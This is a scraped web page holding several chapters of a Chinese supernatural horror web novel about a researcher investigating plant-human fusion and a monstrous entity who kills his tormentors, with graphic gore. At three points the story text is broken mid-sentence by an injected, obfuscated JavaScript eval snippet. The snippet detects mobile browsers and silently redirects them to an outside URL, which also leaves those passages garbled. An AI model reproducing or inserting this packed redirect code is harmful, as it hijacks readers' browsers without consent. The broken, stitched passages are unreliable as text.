老法医暗叫可惜,心忖植物学也不是热门啊,但眼前有任务,也不好多问。 “这里。”唐奂眯起眼,仔细看去。 所有的脏器都布满了细小的裂口,因为太密集,不仔细反而看不出来,那些裂口就像是被什么东西撑破,从内部向外长出来的。 “他死前……肯定是清醒的。” 老法医的声音让唐奂拉回了思绪:“他就这样,亲眼看着自己的身体千疮百孔,被那些不属于人类的组织一点点取代。太残忍了,实在太残忍了。” 噗!唐奂手里的刀刺进了胃部。 老法医一个哆嗦。 打开的胃袋涌出了大量的藤蔓,老法医倒退三米。 唐奂眼疾手快挥起解剖刀,不出预料,藤蔓对他根本没有敌意,就直挺挺被拦腰斩成两节,落在地上枯萎了。 老法医一看,长舒了一口气,但他手抖了,“这……” 解决掉藤蔓,唐奂接下来的动作一气呵成,庖丁解牛般将尸体一层层剖开,正面剖完,又从背后一刀划下,贺淮冰冷的皮肤从脊椎分别向两边绽开。 最终,一切结束了。 没有异常。 只是贺淮的尸体本就残破,没了那些藤蔓,皮肉严重水化,解剖完成后变成了一堆一堆的碎肉。 这时,走廊外响起了一个女人激动的喊声:“黎准!是不是你干的!是你杀了他!让我进去……!” “任小姐,请放开!”“这里不是你来的地方!” 推搡还在继续,特战队在把人往外撵,其中还有一个人在劝:“任小姐你何必呢,那个贺淮,他、他对你也不好。” 听到这里,唐奂手中的动作停止。 “贺淮!”任静的哭喊声盖住了那人的苦口婆心,哀伤超越愤怒,她似乎被拖走了,声音远去:“别丢下我……” 静默中,碎肉被助手们分装进几个黑色塑料袋,编号,密封。 唐奂摘下手套,站在解剖台前,对着那一袋袋瘫软又略显臃肿的东西,语气丝毫不带任何感情。 “感谢贺淮研究员为探索未知世界贡献出了宝贵的遗体。我们将继承你的意志。你的灵魂永垂不朽。” 他的声音回荡在解剖室: “鞠躬!” 17. 第 17 章 “喂?指挥官?” 走出特战部的资料室,周副手拿着沈述的论文,一路往外走,“我去给唐博士送资料,嗯对,他要的。” 下楼梯出了大厅,周副手和迎面走来的队员点头示意,对电话里的黎准说:“我知道,可唐博士说不需要人照顾。啊……不行,男的女的都不行,他说不需要陪护。放心吧,监控在楼梯口,必要的时候,我们也会送一些生活用品。” …… 从解剖台下来,唐奂病了些日子。 窗外布满阴沉的灰色,雨水打在玻璃窗,整座城市模糊成了朦胧的剪影。 唐奂想翻个身,他睡得太久了,浑身酸痛,身体像钉在了床里。 很快,睡意再次袭来,他又陷入了梦境。 他又梦到了自己十四岁那年。 雨后的街道潮湿,空气里飘着泥土的气息,他抬头一看,天空是阴郁的灰色,压得人喘不过气来。 地铁口的台阶上有一个抱着膝盖的男孩。 男孩看上去只有六七岁,冷棕色的头发柔软地贴在耳侧,精致得像天顶壁画上的小天使。那双琥珀色的眼眸抬起,清澈透明。 混血? “你迷路了吗?” 唐奂站住,男孩也站起身,他清楚地记得,男孩只有他半截高。 后来,男孩拉住了他的手。 迷迷糊糊间,他想睁开眼睛,可身体像是被困住了,他看到拉着男孩的自己,一步步消失在雨雾里。 “陆池修——” 唐奂猛地睁开眼。 轰隆隆,外面闷雷阵阵,卧室只有钟表走动的滴答声。 客厅镀上了冰冷的颜色,唐奂看了眼时间,17点,黄昏将至。 不知坐了多久,左臂的伤开始疼痛,唐奂才缓缓下床,拿起水杯吞下了半份止疼药。 等疼痛缓了缓,唐奂打开了茶几前的盒子。 那颗干瘪的、只剩一层皮的眼球,静静躺在那里。 唐奂看了它一会儿,从一旁的花瓶里取出了一朵白菊,因为手不方便,前后修剪了一个小时。 最后,他放下剪刀,把白菊放在了眼球旁。 过了一会儿,唐奂回到床上,枕边的手机屏幕突然亮了。 本以为是旅行男友的系统消息,屏幕显示视频通话邀请时,他的脚步顿了一下。 “……” 视频。 唐奂稍一犹豫按下接听键。 画面跳转,镜头里没有男友的脸,系统不知何时切换成了前置摄像头,他看到了脸色苍白的自己。 对面仍是一片漆黑,没有画面,也没有声音。 唐奂等了一会儿,气息微弱:“为什么又不说话,不是你打来的吗。” 还是没有回应。 手机屏幕泛出的白光映出指尖的轮廓,唐奂犹豫了一下:“……陆池修。” “我在。” 熟悉的温柔嗓音,镜头动了一下。 “你是非要等到我叫你的名字才吭声吗。”唐奂发现了对面这家伙的小心思,但又不知道为了什么。 “还有。”唐奂稳了稳注意力,“你要是不打算露脸,发个消息也就是了。” “……我想看看你的伤。” 沉寂的黑暗中,陆池修的声音在卧室里回响。 唐奂一怔。 视线落在自己的左臂,上面带着夹板,这会儿止痛药刚起效,疼痛正在一点点消退。 “已经没事了。”唐奂随口回答。 对面的黑暗轻微晃动了一下,那像是人的情绪在波动,又不太真切。 唐奂沉思片刻,平静问:“贺淮、是你杀的吗?” “嗯。” 陆池修低低地应了一声。 唐奂点了点头。 他也算共犯,毕竟刺激贺淮拿起的手机是自己。 不过陆池修也没揭穿。 陆池修:“他死前还哭着求我别杀他。” 唐奂:“……” 贺淮的死状他完全不想回忆,一个让人细思极恐的结论是,贺淮刚跑出去就被袭击了,眼球的组织液侵入血液,身体经历了反复的膨胀与溃烂,直到血管破裂,挤压在内脏的压力从皮肤的成千上万个毛孔中迸发。 这种手段,超出了普通人认知的狠辣。 打断了唐奂思绪的,是陆池修在视频那端的低笑声。 轻微,阴冷,带着一点漫不经心的玩味。 “组织液入侵他的大脑后,我掌管了你前男友所有的记忆,还看到了过去的你。” 唐奂:“……” 陆池修:“男朋友,就是要做那个吗。” 唐奂:“…………” “我也可以做吗?”陆池修轻声。 “……” 唐奂大脑冻结,印象中他第一次被海底捞庆生都没这样僵硬过,他把话题转走:“贺淮他得罪过你?” “这个啊……” 问题没有正面回答。 视频那端再次陷入死寂,沉默像落幕的幕布,将陆池修隔绝。 或许因为紧绷,手臂的疼痛感再次涌上,唐奂一蹙眉。 陆池修:“你的伤真的没事吗。” 唐奂微微一怔,他能感觉到,陆池修在盯着自己。 被注视着的感觉很强烈,甚至透过黑色的屏幕都能感受到对方的情绪。 “怎么,又在后台看到台词了?”唐奂用调侃压住不安,“履行虚拟男友的职责?” 旅行男友确实是这样的游戏,它的卖点是陪伴,AI男友提供情绪价值,玩家也会把它当成情感宣泄的出口。 只是,侵入了游戏后台的异端,竟然会在意这个设定。 陆池修:“这不是你想要的吗?虚拟男友。” “实话说,你有点虚拟过头了。”唐奂说,“这个游戏,是要看着自己亲手捏出来的男友说话。上次我就和你说过,你一不是我捏出来的,这还是其次,关键是,你也根本不想用真面目面对我。” 屏幕另一端。 陆池修看着解离液中自己的倒影。 身体仍然残破,尤其是脸上还能看到骨骼,皮肤只有一半是完好的。 “算了。”唐奂躺回床上,喃喃道,“我有点困了。” 陆池修:“过几天,我会让你见到我。” 唐奂:“?” 等反应过来,通话已经挂断了。 …… 仅仅休息了几天后,唐奂回到了研究所。 手臂骨折,着急也没用,只要不发烧,脑子不疼就不耽误上班。不能亲自上手,唐奂就指挥林今做实验。 昼夜花剩余的组织液已经凝固,花了几天时间想恢复它的活性,均以失败告终。 当晚,一个消息震动了整个研究所。 隔壁的项目组长冲过来:“天呐,感染了植物病毒还能活,张全的父母妻儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111661|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都救回来了!” “……” 唐奂怔在实验台。 当时他在现场,清楚记得6个人骨头都化了,只剩一副蠕虫般的皮囊,连人类基本的生理机能都没了,怎么可能恢复呢。 “真不愧是所长。”一个研究员说,“听说是弄到了一种血清,注射到体内就能活。这才不到十个小时,那些人就都醒了!” 唐奂:“血清?” 研究员点头:“说是从植物组织里提取的。” “别提了,也没那么神。”项目组长摆摆手,“实在是吓人,那6个人虽然醒了,可他们的眼睛都变成绿色的了,指甲也成了树皮,远远一看还以为是植物呢。” …… 因为研究有重大突破,所长去京朝市出差,唐奂在研究所的日子轻松了许多。 临近下班时间,唐奂端着咖啡杯,从休息室路过。 旅行男友一直是休息时间热门话题,聊得久了,早就进化出了新花样。 “唉,真希望他是真实存在的。”一个女研究员撑着下巴,“量身定制才是王道,除了不能那个,其他都比现实的男人好一百倍!” 有人笑着接话:“最近不是有新研究嘛?说不定哪天你就和虚拟男友‘同步连接’,亲密接触了呢!” “啊啊啊,真的吗?!会导入这个游戏吗?” 唐奂本来只打算路过,但忍不住开口:“如果是脑机接口的技术,确实可以做到。不过,我个人觉得意义不大。” 空气瞬间安静了。 一屋子的女研究员看向他,表情微妙。 “……我说唐奂啊。”她们终于忍不住了:“你是真的对这个游戏不感兴趣吗?” 唐奂:“不感兴趣。” 然后火速收回视线,转身就走。 但也因为这个小插曲,他又一次想起了陆池修。 ——男朋友,就是要做那个吗。 唐奂知道陆池修看到的是什么,因为除了那次,也没有别的能称得上是、男朋友做的事。 那是博三刚开学,研究室聚会喝得烂醉如泥,唐奂租车送完其他人,最后只剩贺淮。 或许是酒精的作用,车刚停在贺淮家楼下,贺淮突然把他压倒,呼吸也跟着贴近,问他愿不愿意上楼。 唐奂记得自己没有反应。 没有挣扎,也没有迎合,只是躺在那里,甚至能心平气静地和贺淮对视。 从那时起唐奂就在怀疑自己没有爱人的能力。 起码普通的人类是不行的。 所以贺淮质疑他“有没有真的喜欢过”,是十分恰当的。 当时唐奂让了步,说自己还需要时间。这无意中成了积极信号,等他要起身时,贺淮趁他不注意,在他的颈侧留下了一个深深的吻痕。 贺淮说:“算是给我的定金吧。” 思绪回到当下,窗外的夜色吞没了一切。 唐奂捏了捏酸涩的山根,他笃定,陆池修看到的应该就是这一幕。 “好不容易都快忘了,偏偏把这件事拎出来说……” 下班前,唐奂把最后一篇看完的论文放好。 这些论文太难读了。 倒不是专业方面有壁,是沈述写论文的技术很差,每句话都信息量大,沉重到无法呼吸。就这水平还能业绩斐然,可见内容硬到不行。 收拾完东西,唐奂关灯前再次看向那堆论文,喃喃道:“是时候了。” 18. 第 18 章 …… 一周后,深夜。 唐奂回到实验室反锁房门,从冷冻存储柜取出了一个密封盒。 盒子里妥善保存着一块灰蓝色的晶片。 是贺淮的手臂上取来的。 拿到它,也是唐奂坚持给贺淮尸检的一个原因。 晶片表面有复杂的纹路,能通过生物电信号来同步神经传输。那日女研究员们聊旅行男友,他第一时间想到了这个。 回到实验台,唐奂定了定神,拿起解剖刀。 刀刃毫无阻碍地割开皮肤,细密的血珠滴落,唐奂调整着角度,缓缓将晶片嵌入切口,只一按,皮下的组织就自行包裹住了它。 随即,芯片上的植物脉络亮起,激活成功了。 正如贺淮所说,晶片是单向通讯,也就是说,它是为了联系修恩制作的,没有其他功能。 到了这一步,唐奂抬起手,试着用贺淮当时的方式联系修恩。 几次尝试后。 滋滋滋…… 淡蓝色的光浮现,晶片接通了。 唐奂直接开口:“沈博士。” “……” 唐奂:“沈述。” “叫我修恩。”修恩的声线没有起伏,“如果你想知道我们的事,那你找错人了。” 出乎修恩的意料,闭门羹没有打击到唐奂。 “我没有找错人。”唐奂蓦然开口,“第七生态圈那个背包里的昼夜花组织和试管液,就是你放的吧。” 频道里陷入沉默,修恩没有出言否认。 唐奂:“那个包裹的藏匿方式很特别,和你之前在一篇论文里提到的野外采集的方法一模一样。我猜你是故意的,你是想告诉研究所的人,你在的那个异世界、存在着足以毁灭人类的怪物。” 说完,唐奂加重语气:“我说的对吗,沈博士。” “……到此为止吧,我说了,我现在是净化会的人。”修恩毫不客气:“唐奂,不要对我的良心抱有不现实的期待了。” 唐奂:“我知道,你是在保护我。” “回头吧,不要再往前走了。”修恩说,“别忘了,贺淮的事你欠我一条命,要不是我提醒,你早就死了。” “你的人情我还过了。” “什么?” “你以为贺淮为什么会死。”唐奂盯着虚空中跳动的淡蓝色光影,“如果他逃去了净化会,你暗地里和陆池修勾结的事还能瞒住?” 修恩的吸气声微弱传来,像是在消化他的话:“你……” 直到这一刻,修恩才正视起眼前这个人。 不得了,实在不得了。 可这也激起了修恩复杂的情绪,他说:“竟然是你,接替了我的位置。” 修恩说着这话,眼神缥缈起来,失踪当日,他被所长交给了赫尔曼,那个残忍的净化会执行官。 自认有知识分子的傲骨,他想大不了就是死。然而,薄薄的刀片划开皮肤时,他还是害怕了。 刀刃以极其缓慢的速度割向耳廓,那条长长的伤疤,每每都让他回忆起那个比一个世纪还漫长的折磨。终究是高估了自己,于是,他的血落向地面,和血一起的,是屈辱的眼泪。 “我是一个卑劣的小人。”修恩用指尖慢慢地抚过那条疤痕,从头到尾,“我永远无法成为英雄。我只想报仇,只要能报仇,就算牺牲我自己,我连眼皮都不会眨一下。” 现实太残酷,唐奂在社会意义上替代了他,某种意味上,甚至比他更优秀。 但修恩对唐奂有了一种很奇怪的情绪。 有点讨厌,又有点爱护,但也意外发现,他不想唐奂也走进那个刑囚室,去经历无法承受的痛苦。 然而,修恩一怔,他看到了唐奂鲜血淋漓的手腕,是为了连接晶片。 许久之后,修恩轻轻闭上眼:“说吧,你想知道什么。” 唐奂:“我想知道你所在的那个世界,全部。” “抱歉,我知道的没那么多。” “那就说你知道的。” “……” 话虽如此,修恩也仅是思索片刻,就开了口:“我所在的地方,叫森陆,也叫生洲。如果说它和蓝星有什么不同,那就是生洲的人类可以和异形植物融合。成功了的人,会被叫做‘共生种’或‘共生者’。” 修恩摘掉手套,手背叶脉扩张,指尖冒出了绿色嫩芽。 唐奂直捣问题的关键:“这么说来,变异植物都是人类操控的?” “不。”修恩轻轻摇头,“有的植株不能和人类结合,它们只是初步唤醒了意识,还算是普通的‘裸生种’。” 裸生种? 唐奂想到了那株异化的仙人掌。 “哦对了,没有和异植结合的普通人,也叫裸生种。”修恩补充,“用的是同一个称呼。” “你可不要以为,成为共生者是件容易的事。”修恩说,“在生洲,异植有严格的等级划分,从1级到7级,遍布在山脉,林地,戈壁和沼泽……而人类,一生只能和一株异植结合。” 唐奂忽然想到那两张介绍异植的说明书。 蜃影藤是Lv.2,昼夜花是Lv.5,这些果然是它们的等级。 修恩:“结合后,能熬过排异期的,最终能达到‘绝对融合’的状态。不能的,就只能等死。” “为了安全起见,过去的几十年里,生洲的‘绿火旗’已经开发出了人类和异植的匹配机制,有效降低了排异期的死亡率。” 到了这一步,唐奂心里有数了。 “那陆池修呢。” “我就知道你要问他。”修恩甚至笑了一声,唇角僵硬,似乎回想起了什么,“我只能说,他是个特例。” 唐奂:“Lv.7?” 最高等级的绝对融合? 修恩笑着摇头:“没你想的那么低级。” 忍不住卖了个关子,说完还特意看看唐奂的反应。 “我必须先告诉你,即便在生洲,达到Lv.7的共生者总共也不到10个。但作为天生的实验品,陆池修记录在案的异植,就有3株Lv.5,9株Lv.6和18株罕见的Lv.7。也就是说,他独吞了至少30个Lv.5以上的植株,就算生洲其他的Lv.7共生者加起来,理论上也不是他的对手。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111662|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 修恩说到这里,声调拔高了几分,激动地说:“你知道吗唐博士。在此之前,人类和植株都是一对一的关系,还没有一个人可以和那么多植株共生!” 其实修恩不这么说唐奂也能理解。 陆池修给生洲带来的震撼,应该不亚于蓝星人发现火箭可以用筷子回收。 “所以,”修恩凑近了些,“直到目前为止,生洲所有的势力都对他束手无策,就算费尽心思抓住人,最多也只能圈禁。” 研究室外的月亮蒙上了一层灰影,云彩散去,再次照亮了冰冷的实验仪器。 透过光屏,修恩看到自己的研究室物是人非,长长地吐了一口气:“就到这儿吧。最后我提醒你一句,你要小心所长。” 唐奂:“他怎么了。” “净化会已经启动了他们的计划,我只知道,所长半个月内要上交一批‘货物’。”修恩说,“但很遗憾,我只知道这些。” 这一点引起了唐奂的疑惑,目光微沉:“我听说,净化会的那位执行官,很信任你。” “或许吧,信任我是真的。”修恩苦笑了一下,自嘲道,“不过,我不知道这个计划的具体内容,也是真的。” “祝你好运。唐博士。” 唐奂点点头,正要关闭晶片。 修恩:“等等。” 以为修恩想起了重要情报,唐奂停下动作,没想到修恩问:“唐博士,你为什么要当研究员?” 唐奂:“不然我读什么博士。” 修恩:“……” 唐奂没再说笑,注视着半空中跳动的光点:“高一的一次经历,让我意识到世界上有太多未解之谜,我不想看到它们在某一天悄无声息地终结人类的命运。” 修恩倒吸半口气,一声“哦”还没来得及说出口。 “——但在当今这个时代,这叫‘假大空’,所以我面试的时候不敢说。”唐奂说,“人总是要吃饭的。” 话题到这里,已经可以结束了。 唐奂不可闻地呼气,晶片关闭的前一秒,听到修恩半开玩笑说:“如果我是考官,我希望你一定要这样说。” “为什么。” “因为如果是我,我绝不让你落选。” 话音刚落,空中的投影轻微一闪,随即熄灭了。 研究室重新归于寂静,只有实验台上仪器发出的细微电流声,以及,唐奂不觉间露出了微笑的面庞。 …… 一周后。 生洲的禁闭室内洒落冰冷的月光,有个身影从解离液中站了起来。 陆池修琥珀色的眼眸泛着奇异的光泽,藤蔓缠绕的身躯之下,水草啃噬的伤痕从胸膛走向劲瘦的腰。 其实应该再等些时间,不过陆池修的耐心耗尽了。 藤蔓攀上唯一的窗户,铁栅栏溶解出了一截截空缺。咔嚓!断裂的金属杆摔落,挡住月光的整面墙崩裂开来。 等到外面的守卫察觉到不对劲冲过来,终年昏暗的禁闭室天光四照,皓月当空。 看守们愣在当场,裤管里像灌了冰水似的动弹不得。 陆池修不见了—— 19. 第 19 章 …… 短短数分钟,净化会出动,赫迪安坐在一辆战车之上,狰狞的脸色让来报告的守卫吓得说不出完整的话。 “找到陆池修了吗?” 领头的守卫冷汗直流,跪在泥土里:“可能是往朝圣湖的方向去了!” “追!”赫迪安示意驾驶的士兵转向,回话的守卫正要起身,赫迪安一脚踩下油门,千斤重的轮子直接从他脸上碾了过去。 众侍卫愕然,他们早就习惯了,还是咬紧了牙。 今夜赫迪安杀心大起,有对陆池修越狱的愤怒,也有害怕被父亲赫尔曼指责的恐惧。 净化会损兵折将抓住的人,看守的重任交给了他,发生这样的事,要是给不出交代,后果不堪设想。 “该死的狗杂种!” 赫迪安狠狠踹了一脚踏板,怒气在胸腔翻腾,“让我抓到你,看我不把你碎尸万段!” 前方探路的人一路返回报告,正如那个被碾碎的守卫所言,陆池修的确往朝圣湖那边去了。 “他还真敢往湖区跑?!”赫迪安沉下脸,冷笑了一声,“分三路封锁他的行动范围,所有人给我继续追!” 净化会的追捕队伍浩浩荡荡,除了普通的士兵,数十个身穿特殊植生战甲的高级共生者迅速集结,他们在密林中穿行,夜风吹起了披风上的银色藤纹徽章。 “……今晚真热闹啊。” 远处山上赫迪安的队伍奔袭而过,半山腰,一面凛凛的绿火旗正随风飘扬。 赛琳饶有兴味地放下夜视镜,回头看向背着重剑的男人:“维克,我们都跟了一路了,要么再追近一些?” 绿火旗第一时间就接到了消息,却没有抢到净化会前面的意思,一路走走停停,主打一个不要跟丢。 维克:“继续跟着。” “真可惜。”赛琳摸着下巴,嘟囔道:“祁夜的排异期还没过,不然今晚就有好戏看了!” 不等她说完,绿火旗的队伍已开拔,赛琳手忙脚乱地追:“哎!你们果然要抢着去看热闹吧?等等我啊!” “首领,你看绿火旗那帮人。” 旗帜浩浩荡荡远去,娜塔莎冷着一张脸,不足150公分的她扛着一架激.光.炮,一身黑色劲装,橘色的长发包裹住了她的身躯:“首领,我们追吧。” 洛恩:“继续跟着。” “陆池修跑了怎么办?” 娜塔莎明晃晃的金属炮.筒反射在洛恩的面具上,洛恩只说:“快到朝圣湖了,把它放下。” 群狼出动的夜色之下,朝圣湖倒映着宝石般的星辰,在暗流涌动中波光涟涟。 夜色沉静如画。 异形植物遍布的世界,朝圣湖更是不可多得的美景。 今晚是大教会“隐秘花园”的祝祷日。 银色的碎光在湖面铺洒,千年古树悠然投下长河岁月的影子,树梢间停落着三四十只乌鸦。 千人的祝祷声回荡,修女们耳边别着花,手捧一盏盏火光微弱的天灯低吟祷文,歌声柔和空灵。 一个身影飞掠而过,修女们的白色长袍被吹得紧贴在身上,她们回过头,惊得私下奔逃,手中的天灯被吹得飞向天空—— 祈愿白花铺就的大地,陆池修琥珀色的瞳孔宛如流光。 他在这般神圣之地毫不违和,任谁第一眼见到,都不会认为这张脸之下会有如此乖戾的灵魂。 队伍最后的修女:“尼娅,快跑!!” 陆池修这才注意到身后的女孩,目光缓缓下移,映入眼帘的是一个小小的身影。 女孩只有五六岁,披着小号的白色长袍,金发光滑地梳起。她正捧着一朵的白花,踮起脚尖,想将它别到陆池修的耳旁。 陆池修没有蹲下:“我在找治疗骨折的草药。” 尼娅指了指湖边深处,她有点害怕,但还是壮着胆子说:“拔光这里所有的草药,也治不了你的伤。” 陆池修没说什么,一根藤蔓来到她面前,尼娅以为要被杀了,闭上了眼睛。 那条藤蔓打开她小小的手,在她的掌心放了一颗花蜜做的糖。 等她再次睁开眼,陆池修已经不见了。 —— “嗡……嗡……” 同一时间,正在研究所加班的唐奂按住了桌上的手机。 来串门的项目组长瞟了一眼过来,只见唐奂若无其事地把手机放进口袋,一阵风似的出去了。 大家愣了几秒,一个女研究员神秘地问林今:“你老实告诉我们,唐奂不会是谈恋爱了吧?” 林今用一种“别想太多”的眼神扫了她一眼,撇嘴道:“谈什么恋爱,唐哥的爱人就是研究室,哪有工夫和真人耍?” 忙得天都翻了,还有体力回去和恋人缠绵? 大伙好奇的心情林今完全理解,唐奂其实搞错了策略,有些事,你越是边界感强,就越吸引人注意。 林今摸着下巴嘀咕:“不过,确实没见他这么着急过呢。” 出了走廊,唐奂一路确定没有人跟来,他找到了一间没人用的会议室,反锁上门,屏住呼吸看向了屏幕。 终于来了。 所长的狐狸尾巴藏得严实,黎准追踪几日也没查到有用的情报,正好借此机会问问陆池修。 嗡……嗡…… 唐奂的胸口还在起伏,他按下接通键,不想下一秒,就因为屏幕上出现的那张脸心跳漏了几拍。 陆池修…… 冷棕色的发丝泛着金属般华丽的光泽,精致得不像现实存在的五官,眼睫下是一双琥珀色的眼眸,倒映着远处仓皇逃离的修女。 遗落的白花像星屑洒落在黑色土地,风掠过荒野,花瓣卷入泼墨画般的夜色中。 唐奂看得半句话都说不出来。 这…… 一度以为自己这一生注定与浮华的感官刺激无缘,可他的心跳停拍,许久才收敛起失态:“找我干什么。” 屏幕那端的陆池修:“不是说好了,过几天让你看看我的吗?” 唐奂一怔。 好像是有这么一回事。 不过陆池修离镜头很近,只能看到肩膀的程度。 “有件事要问你,”唐奂没多废话,“我听说净化会在和所长合作,你能看到贺淮的记忆,帮我看看那个计划是什么。” “……” 陆池修表面正常,腰腹仍被多种植物的触须纠缠,它们借着月光生长,暗红色变异藤蔓交错,想冲破皮肤。 唐奂:“陆池修?” 月光下陆池修抬起汗水滴落的脸:“没有,贺淮不知道这个计划。” 唐奂点头,看来只能另想对策,不到最后,他还是不想直接抓捕所长。万一没有证据,反而打草惊蛇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111663|195873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,屏幕对面,陆池修忽然问:“你手机换屏保了?” “……” 新屏保,是那颗旁边摆放了白菊的眼球。 唐奂眉眼低垂了一瞬,眼角微微挤压,呼吸间极力地压抑着什么。 “哦。”陆池修轻飘飘地说,“原来,你喜欢那个啊。” 唐奂:“这不是喜不喜欢……” 话音未落,镜头里出现了陆池修骨节分明的手指,它拨开了的眼皮。 “别难过了,”陆池修笑着说,“我挖出来给你啊?” 唐奂:“我没空和你开玩笑。” “没开玩笑。” 陆池修真的把手指伸进了眼眶,很快,血丝在弯曲的指缝渗出来,隐约听到搅动什么东西的水声。 唐奂惊到说不出话,连时间都仿佛静止,他只能看着眼前的一幕,心脏剧烈跳动。 朝圣湖澄澈如光,倒映着修女的那些天灯宛如一条条明亮异常的小船,向天地相接的远方飞去。 不知过了多久,一颗琥珀色的眼球滚落到陆池修的手中,变成了手掌大小。 陆池修把它放到镜头前。 唐奂屏息,那颗眼球如同活物般轻轻跳动着。 “你……” 陆池修歪头,空洞的左眼眶流下一行血泪,剩下的右眼和掌心那颗眼球一齐看向他,瞳孔透着一丝低沉的渴望:“唐奂,我……” 咚咚。 门外传来林今的砸门声:“唐哥,有个报告!” 唐奂如梦初醒,匆忙挂掉了电话。 屏幕黑下来的瞬间,存活于现世的感觉再次涌入神经,会议室里没开灯,只有死气沉沉的的灰色桌椅,如同一场落幕的大戏,只剩怅然若失的观众。 “来了。” 半晌唐奂摸了一下额头,开门出去了。 …… 而陆池修这边,夜风吹过湖面,水波荡漾,一身夜袭装的修恩停下脚步。 修恩:“好了,快乐的时间总是很短暂,快点回到禁闭室去。我告诉过你这个信号很消耗异能,这样下去你猴年马月也好不了。” 陆池修回身:“你联系过唐奂了?” “你这是怎么搞的?”修恩被满脸是血的陆池修吓了一跳,后退半步,没好气地问:“他告诉你的?” “他没说。” “是他联系的我。” 陆池修耷拉的眼皮还在渗血,剩下的右眼仿佛镀了一层琉璃:“我得帮他。” “你怎么帮?掐着赫尔曼的脖子问你们想对潼港干什么吗?”修恩忍不住催促,“你快点回去,这件事我会想办法。” “已经过去好几天了吧,你们通话。” “那怎么了。” 陆池修嘴角带着一丝审视的笑意:“可见,你也拿不出什么好办法。” “所有的办法都试过了。”修恩几乎要指天发誓,“这个计划保密级别很高,赫尔曼,赫迪安,所长,再算上艾丽卡,还有那个卧底在京朝区的卡尔斯,知道内情的人一只手都能数过来。你放弃吧,我们帮不上忙。” 陆池修捧起湖水洗脸:“追我的人到哪儿了。” 修恩暴躁:“你有没有听我说话?” “带我去看看。”陆池修擦着落到下巴的水珠,走过修恩身边时说:“顺便,借你身上点东西用用。” 20. 第 20 章 …… 远处的山道上,数百点微弱的光亮正沿着山路奔袭。 樊山多沟壑,到了夜晚更是危机四伏。 “那些人还没来吗?”赫迪安回头看了眼,骂道:“占着联合会的席位,要他们有什么用!” 一路上,赫迪安都在想抓住了陆池修怎么处置。 翻滚的水雾中战车开得飞快,没过多久,赫迪安忽然变了脸色。 共生者都有一个警惕危险的雷达,赫迪安久违地感觉到体内的异植瑟瑟发抖,血管里的叶脉正一收一缩,引得他浑身冒冷汗。 嗖—— 夜间山路难走,士兵们没有注意到,有东西如影随形地跟了过来。 路边的树干断裂倒塌,赫迪安猝不及防,只看到一根藤蔓绕过了层层包围的士兵,直奔他过来了。 队伍末端,维克和洛恩的队伍才合流,两人看了对方一眼,谁也没有开口。 “救、快救我!” 赫迪安的冷汗瞬间炸开,恐惧攫住了他的理智,那条藤蔓缠住了他的一只脚踝,他整个人被倒吊了起来。 可赫迪安也顾不得了,眼中满是恐惧:“陆池修!我知道是你,放了我吧……求求你……” 摇曳的树在风中发出沙沙声,众人顺着藤蔓看去,陆池修落在断裂的树上,正居高临下看着他们。 卫队长焦急问旁边的士兵:“修恩先生还没来吗? “他在这儿。” 陆池修手指一勾,什么东西重重砸在了地上。 尘土散去众人才看清,是不知被拖行了多久、已经奄奄一息的修恩。 这下子净化会的士兵们乱成一锅。 陆池修手指又一动,两根藤蔓骤然收紧,赫迪安和修恩同时被拎到了半空。 “你们猜,我会杀哪个?” 温柔的声线听得众人一愣,陆池修眼眸弯起,像温顺的猛兽,他的视线落人群里,蓦然一笑:“维克将军,你来猜?” 维克喉结一滚。 这种时候,不会有人愿意开口。 陆池修骨节分明的手指不疾不徐地敲着自己的面颊,似乎真的在思考。 “杀他!杀他!!”赫迪安惊叫着指向毫无生气的修恩,“我是净化会的下一任执行官,他、他算个什么东西!” 一根藤蔓动了。 修恩吃了一路沙子,耳边听到赫迪安吵闹的声音,心里暗骂了一句:他妈的。 不是骂赫迪安,是骂陆池修。 “你饶了我吧!”僵持间,赫迪安泪水混着汗水从脸颊滑落,惊恐地求饶:“陆池修,以前的事……是我错了,求你……放了我……” 陆池修忽然想起了贺淮。 一个两个都那么嚣张,真要死的时候,哭相一个比一个难看。 陆池修终于放下手,但也只是一瞬。 不等赫迪安松口气,捆在身上的藤蔓收紧,像链条紧密搅合的骇人拧动声传入耳边,后知后觉,那是他的骨头在响。 “——!” 发不出声音。 众人看到,赫迪安的身体以一种极不自然的方式膨胀,皮肤下的异植疯狂游走,血管根根暴起,像要挣裂皮肉。 赫迪安嘴巴张大,似乎想要说什么,可连声音都被死死封住了。 这一幕让所有人移不动视线。 咔嚓! 赫迪安的脖子一歪,发出可怖的断裂声。 